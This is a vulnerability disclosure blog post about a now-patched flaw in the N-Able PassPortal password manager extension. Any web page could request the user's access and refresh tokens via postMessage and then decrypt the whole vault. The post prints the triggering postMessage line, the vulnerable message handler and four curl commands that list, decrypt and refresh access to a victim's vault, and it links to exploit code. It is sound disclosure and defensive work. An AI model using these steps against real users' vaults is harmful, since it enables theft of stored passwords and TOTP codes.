← Back to blogSolar Winds Part 2 Avoided: N-Able Passportal Vault Leak
/James Arnott
Share

Solar Winds Part 2 Avoided: N-Able Passportal Vault Leak

N-Able's PassPortal extension, on Chrome and Edge allowed any site or iframe a user is presented with to gain complete, persisted access to the decrypted vault for up to 100 days. CVSS v4.0, base 9.4. Fixed within 24hrs. 73k+ affected weekly active users. v3.49.5 is vulnerable, v3.49.6 patched.

N-able (formerly SolarWinds MSP) is publicly traded at ~$800M market cap. They provide cloud-based remote monitoring, management, and security platforms specifically designed for Managed Services Providers (MSPs) - and they have a password manager called PassPortal.

N-Able's PSIRT were incredibly fast and cooperative throughout the process, giving us an account and publishing a fix within 24 hours of us reporting this to them.

CVE-2026-15580 has been reserved.

Intro

Our pipeline autonomously flagged this as a potential vulnerability, as it looked like any site could just request auth tokens from the password manager. That would be a little bit crazy if that was true.

We looked into this more, but found we couldn't really verify anything without an account for this, and we're not used to getting accounts to prove vulnerabilities, so this potential vulnerability was almost written off. If it wasn't for the N-Able PSIRT being so cooperative and helpful, unlike most other vendors, we wouldn't have been able to find and report this issue.

The N-Able PassPortal extension popup, showing the Websites and Credentials tabs above a "My Vault" list of saved logins, with Company Vault and All Websites collapsed below

Not the best UI we've ever seen

We decided to ask N-Able for an account after explaining we think we might have found a vulnerability on the 6th of July. On the 8th we were actually given an account.

The Communication Problem

Passportal, like MultiPassword, uses the main world to communicate with their popover iframe, which appears when you are on a site and suggests passwords to you.

The PassPortal "Log in as" popover iframe overlaying the AWS IAM sign-in page, suggesting a stored "AWS Console - Signup" credential from the Personal Vault

The offending Iframe

Now, using this pattern is bad practice, but it's not generally devastating. With our MultiPassword exploit for example, we weren't able to exfiltrate the entire vault, we had to rely on a bug to exfiltrate credentials for sites with the same eTLD (eg .co.uk .com.au).

The problem here is that the iframe doesn't just get the credentials for the given page, for some reason, the content script sends over the access and refresh tokens used to communicate with the server. This iframe is an extension page, so it can access the extension storage to get these tokens instead.

The reason that the Iframe needs these tokens is that the decryption for these passwords is actually done on the server, the server returns the decrypted passwords and TOTP codes, so all decryption is done on the server. With that said, the server doesn't store all the keys, we actually have to send over part of the key material when we make requests to get passwords and TOTP keys.

window.postMessage({ method: 'getPasswords' }, '*');

Any page could simply run this line and listen for the response to get back the tokens.

This was because this snippet in the content script just trusted all origins.

window.addEventListener("message", function (event) {
  if (!event.source) return;
  if (typeof IFrameMessageHandler[event.data.method] === 'function') {
    IFrameMessageHandler[event.data.method](event);
  }
}, false);

The Bass Ackwards Architecture

All the major password managers use E2EE, End to End Encryption, so the server never sees the decryption key, even Multipassword does this. For some reason in PassPortal, they decided that the server should decrypt the passwords and return them decrypted.

PassPortal marketing slide titled "Strengthen security posture", listing automated password generation and rotation, Active Directory credential updates, and "industry-standard encryption and data protection"

Industry standard private key management is not a listed feature

So, the server doesn't store all the decryption keys, but the passwords are decrypted on the server, so we must have to send over the rest of the key material whenever we decrypt a password or TOTP code. We found that the key material was encoded in the JWT access token.

The decoded JWT access token payload, containing iat, exp, scope "everything", refresh_id, and long base64 "organization_key" and "phrase" fields holding the key material

Key material shipped inside the access token: "organization_key" and "phrase"

The organization key (base64) decode is:

{
  "iv":"TVHfqq7sCWlmtqfwwi7xXw==",
  "value":"458GxZwxDRFedcD/MgHZ4aPMRpaZmZJ1hZq71Z+yHR0bOCSgi5I6lBpwfV1limmk",
  "mac":"4e261a873652ee58c62576d542ff33e2d00aa7d004ff2106ce4527e87d3c528a",
  "tag":""
}

Then the phrase is in the same format. When requesting a password, it sends off a request to this endpoint:

https://ca-clover.passportalmsp.com/api/v2/passwords/10499146?decrypt=true

We tried changing decrypt=false and we couldn't manage to decrypt this locally, which suggests there's potentially some secret held on the server side.

(?decrypt=false, password is testtest)
{"success":true,"password":"5CbhzSynRjLzDkGhOkazh6EAW1Q88NMhBVl0iOrZZnk~"}

Including sensitive key material in JWTs is not a good idea, given that JWTs simply verify integrity and do nothing for confidentiality.

The Exploit It Enabled

Now we're in a position where any site or iframe on a site a user visits, can silently request these tokens and the password manager will just hand them over, giving complete persisted access to the password manager's vault for up to 100 days, which is the max duration of the refresh token. Full CRUD over the entire vault including TOTP codes and passwords.

JSON array of vault entries exfiltrated by the exploit, each with id, url, username, password and totp fields populated in plaintext, including HSBC and Facebook logins with live TOTP codes

Sample of leaked data

To fetch these credentials, all an attacker would need to do is to run some CURLs, as follows:

SERVER="<data-center>" # session.server
TOKEN="<access_token>"        # session.access_token
LEGACY="<legacy_token>"       # session.token (TOTP only)

1. List every password entry:

curl -sS "https://${SERVER}-clover.passportalmsp.com/api/v2/passwords?state=active&limit=100&page=1&orderBy=id&ascending=1&requestType=total" \
  -H "x-access-token: ${TOKEN}" \
  -H "Accept: application/json" \
  -H "User-Agent: Mozilla/5.0 PoC/1.0"

2. Decrypt one entry (fill in <ID> from step 1):

curl -sS "https://${SERVER}-clover.passportalmsp.com/api/v2/passwords/<ID>?decrypt=true" \
  -H "x-access-token: ${TOKEN}" \
  -H "Accept: application/json"

3. Live TOTP code for an entry:

curl -sS "https://${SERVER}-clover.passportalmsp.com/api/totp/getCode?token=${LEGACY}&passwordId=<ID>" \
  -H "x-access-token: ${TOKEN}" \
  -H "Accept: application/json"

4. Refresh an expired access_token (when step 1 returns code: 1004):

curl -sS -X POST "https://${SERVER}-clover.passportalmsp.com/api/v2/auth/refresh" \
  -H "Content-Type: application/json" \
  -H "x-client-app: BrowserExtension" \
  -H "Accept: application/json" \
  -d '{"refresh_token":"<refresh_token>","access_token":"'"${TOKEN}"'"}'

Token leak flow: a malicious page or iframe postMessages the PassPortal content script, which trusts all origins and hands back the access and refresh tokens, giving the attacker full vault access for up to 100 days

This is by far the worst vulnerability we've ever found in a password manager. This practically enabled thousands of enterprise clients to have their entire vault leaked.

This would have been devastating for the organizations affected, a password manager breach like this is one of the most damaging things that an organization can face.

How they fixed it

The content script message handler added origin checks, so only messages from the iframe would be trusted.

var extensionOrigin = new URL(chrome.runtime.getURL('')).origin;
window.addEventListener("message", function (event) {
  if (!event.source) return;
  var method = event.data?.method;
  if (method !== 'showPasswordFrame') {
    if (event.origin !== extensionOrigin) return;
    if (!TrustedFrameRegistry.has(event.source)) return;
    if (event.data?.nonce !== NONCE) return;
  }
  if (Object.prototype.hasOwnProperty.call(IFrameMessageHandler, method)
      && typeof IFrameMessageHandler[method] === 'function') {
    IFrameMessageHandler[method](event);
  }
}, false);

There are a few changes here, but the main fix is the "extensionOrigin" check which makes sure the messages are from the extension origin, as opposed to any site or iframe message.

This did fix the issue, but we recommended moving away from the window.postMessage architecture, towards one of the chrome extension messaging protocols as that would prevent any future changes from introducing a similar bug as that would prevent any site from having access to the messaging channel, if configured correctly.

Disclosure & Timeline

N-Able were absolutely amazing to deal with throughout this process, they were far more cooperative and quick to act than any other vendor we have reached out to before.

In our initial email we stated how we don't disclose vulnerabilities through platforms and we asked to now go through their standard BugCrowd form, which might have had NDAs and they agreed to this, then gave us an account.

The full timeline is:

  • July 6th: We said we think we might have found a vulnerability and asked for an account
  • July 8th: We received the account and reported the vulnerability
  • July 9th: A patch was deployed on the Chrome and Edge Web Store

We did recommend, as always, to get this fixed ASAP and they didn't mess around. Their patch fully fixed the token leaking issue. This was a simple fix which was implemented by checking the origin of the window request.

We also suggested for them to re-architect the platform to properly implement E2EE, however this will take longer to do and will be a pain for whoever has to do this, but we do think it's worth it. They said this suggestion has been forwarded for review.

We wouldn't be able to recommend using PassPortal from a security point of view, given it's current architecture - however if N-Able does re-architect the system to run decryption on the client side, we would be a lot more confident in its security.

Bitwarden, 1Password, Proton Pass, Keeper, KeePassXC-Browser, Passbolt and NordPass are all ones we would recommend. None are immune to vulnerabilities but all show strong positive signals that they implement E2EE properly and do not have similar vulnerabilities.

Exploit code: https://github.com/Am-I-Being-Pwned/Passportal-exploit-demo